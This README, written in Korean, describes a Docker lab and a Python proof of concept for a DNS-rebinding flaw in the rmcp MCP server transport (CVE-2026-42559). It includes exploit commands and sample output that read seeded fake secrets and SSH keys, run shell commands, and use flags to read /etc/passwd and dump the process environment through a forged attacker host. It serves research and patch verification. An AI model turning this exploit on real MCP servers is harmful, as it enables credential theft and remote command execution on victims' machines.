
Docker 랩 및 Python 개념 증명으로, rmcp Streamable HTTP 서버 전송(CVE-2026-42559)에서 검증되지 않은 Host 헤더를 통한 DNS 리바인딩을 시연합니다. 테스트를 위한 취약한 빌드와 패치된 빌드를 포함합니다.
| 영향 범위 | rmcp — Model Context Protocol용 공식 Rust SDK — < 1.4.0 |
| 수정 버전 | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (출처 검증 오류), CWE-350 |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
rmcp < 1.4.0의 Streamable HTTP 서버 전송은 인바운드 Host 헤더를 전혀 검사하지 않았습니다. MCP 서버는 일반적으로 루프백에 바인딩되며 브라우저의 동일 출처 정책(same-origin policy)에 의해서만 보호됩니다. DNS 리바인딩은 이를 무력화합니다:
http://evil.example을 방문하면 1초 TTL의 DNS 레코드가 제공됩니다.evil.example → 127.0.0.1로 응답합니다.fetch("http://evil.example:8000/mcp", …)를 호출합니다. 요청은 피해자의 로컬 MCP 서버에 도달하지만, 브라우저는 여전히 이를 동일 출처로 취급합니다. CORS 사전 요청(preflight)이 없으며, JavaScript는 모든 응답을 읽을 수 있습니다.해당 요청을 정당한 요청과 구분하는 유일한 요소는 Host 헤더입니다: 127.0.0.1:8000 대신 evil.example:8000. 검증이 없으면 공격자의 페이지는 전체 MCP 세션을 획득하여 서버가 노출하는 모든 도구(파일 읽기, 쓰기, 셸 실행 등 어시스턴트가 연결된 모든 기능)를 열거하고 호출할 수 있습니다.
1.4.0은 StreamableHttpServerConfig::allowed_hosts를 추가했으며, 기본값은 ["localhost", "127.0.0.1", "::1"]입니다. 또한 요청 핸들러 상단에 validate_dns_rebinding_headers() 게이트를 추가하여 그 외의 경우 403 Forbidden으로 응답합니다.
.
├── docker-compose.yml # 동일한 소스, 서로 다른 rmcp 버전의 두 서비스
├── mcp-server/ # 실제적인 "개발자 어시스턴트" MCP 서버
│ ├── Cargo.toml
│ ├── Dockerfile # RMCP_VERSION 빌드 인자가 크레이트 버전을 고정
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, 의존성 없음
두 컨테이너 모두 동일한 src/main.rs와 동일한 서버 구성을 빌드합니다. 유일한 차이는 고정된 크레이트 버전이므로, 동작 변경은 전적으로 라이브러리에서 비롯됩니다:
| 서비스 | 포트 | rmcp | 예상 결과 |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | 위조된 Host 수락 → 완전한 침해 |
patched | 127.0.0.1:8001 | 1.4.0 | 위조된 Host → 403 Forbidden |
서버는 whoami, read_file, run_command를 노출하며, 이미지에는 /home/dev/project/.env 및 /home/dev/.ssh/id_ed25519에 가짜 자격 증명이 시드되어 있어 익스플로잇이 탈취할 대상이 있습니다.
docker compose up -d --build
취약한 빌드 익스플로잇:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- Host 헤더가 검증되지 않음
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] step 0: 정당한 Host 헤더로 기준 핸드셰이크
[+] 200 OK -- 서버 실행 중: rmcp 1.3.0
[*] step 1: 리바인딩 후 요청 재전송 (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- 위조된 Host 헤더가 수락됨: CVE-2026-42559에 취약
[+] 외부 출처에서 세션 열림: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: 이제 공격자 페이지에 노출된 도구 열거
- read_file 워크스테이션에서 파일 읽기
- run_command 워크스테이션에서 셸 명령 실행
- whoami 이 어시스턴트가 실행되는 워크스테이션 설명
[*] step 3: 공격자 페이지가 로컬 MCP 클라이언트인 것처럼 도구 호출
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] 웹 페이지에서 피해자 호스트에 대한 임의 읽기 및 명령 실행
그런 다음 패치된 빌드로 수정 사항을 확인합니다:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 0: 정당한 Host 헤더로 기준 핸드셰이크
[+] 200 OK -- 서버 실행 중: rmcp 1.4.0
[*] step 1: 리바인딩 후 요청 재전송 (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host 헤더가 허용되지 않음
[+] 취약하지 않음: 이 빌드는 Host 헤더를 검증함 (rmcp >= 1.4.0)
대상이 취약하면 종료 코드는 1, 취약하지 않으면 0이므로 스크립트를 CI에 바로 통합할 수 있습니다.
유용한 플래그:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
docker compose down으로 정리합니다.
익스플로잇은 대상에 TCP 연결을 열고 공격자가 제어하는 Host 헤더를 작성합니다(http.client.putrequest(..., skip_host=True)). 이는 리바운드된 브라우저가 내보내는 요청과 바이트 단위로 동일합니다. DNS 리바인딩은 브라우저가 루프백 소켓에 외부 Host를 보내도록 만드는 메커니즘일 뿐입니다. 이 방식으로 재현하면 랩을 두 개의 컨테이너와 DNS 인프라 없이 유지하면서, CVE와 관련된 정확한 코드 경로를 테스트할 수 있습니다.
// 1. 업그레이드.
// rmcp = "1.4" (또는 이후 버전)
// 2. 1.4.0부터 루프백 전용이 기본값입니다. 로컬 바인딩 서버는
// 추가 작업이 필요 없습니다.
let config = StreamableHttpServerConfig::default();
// 3. 실제 공개 배포의 경우 자체 도메인을 허용 목록에 추가하세요.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
업그레이드할 수 없다면, 알 수 없는 Host 값을 거부하는 리버스 프록시 뒤에서 MCP 엔드포인트를 종료하고, 프록시 없이 서버를 0.0.0.0에 바인딩하지 마세요. disable_allowed_hosts()가 존재하지만 이는 정확히 이 버그를 재도입합니다.
여기의 모든 것은 의도적으로 취약하며 연구 및 교육 목적으로 존재합니다. 컨테이너는 설계상 셸 실행 도구를 노출합니다. 랩은 소유한 머신에서만 실행하고, 테스트 권한이 없는 호스트에 익스플로잇을 사용하지 마세요.